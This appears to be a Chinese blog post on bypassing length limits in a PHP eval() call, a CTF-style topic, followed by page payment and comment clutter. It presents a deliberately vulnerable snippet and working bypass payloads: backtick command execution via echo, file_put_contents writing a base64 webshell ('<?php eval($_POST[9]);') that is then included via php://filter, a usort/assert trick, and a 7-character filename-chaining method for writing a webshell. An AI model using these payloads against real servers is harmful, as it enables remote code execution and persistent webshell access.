EVAL长度突破限制

目录

突破15位限制

代码

绕过方式

第一种(使用echo执行)

第二种(使用file_get_content追加文件后进行问件包含)

第三种(使用usort可变长参数)

突破7位限制

第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)


突破15位限制

代码

首先输入eval,限制param不能超过17位然后,这个输入里面不能包含eval和assert

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

绕过方式

第一种(使用echo执行)

http://192.168.244.152:8080/web.php?param=echo%20`$_GET[1]`;&1=id

代码执行转换为命令执行

第二种(使用file_get_content追加文件后进行问件包含)

http://192.168.244.152:8080/web.php?1=file_put_contents&param=$_GET[1](N,P,8);

往目录下写文件,然后将一串base64编码追加进去,为啥要用base64是因为一些特殊字符在file_get_content追加不了的

追加后的值,这个base64编码解码后的值是<?php eval($_POST[9]);

然后使用php伪协议将代码转成一个正常的字符,然后使用文件包含直接执行

http://192.168.244.152:8080/web.php?include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

第三种(使用usort可变长参数)

1[]=test&1[]=phpinfo();&2=assert

注意这里由于有些php版本将usort删掉了所以要使用5.6版本

突破7位限制

第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)

w 长度最短的命令
ls -t 以创建时间来列出当前目录下所有文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入Webshell

使用base64的原因就是有些特殊字符没有办法插入

最终文件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值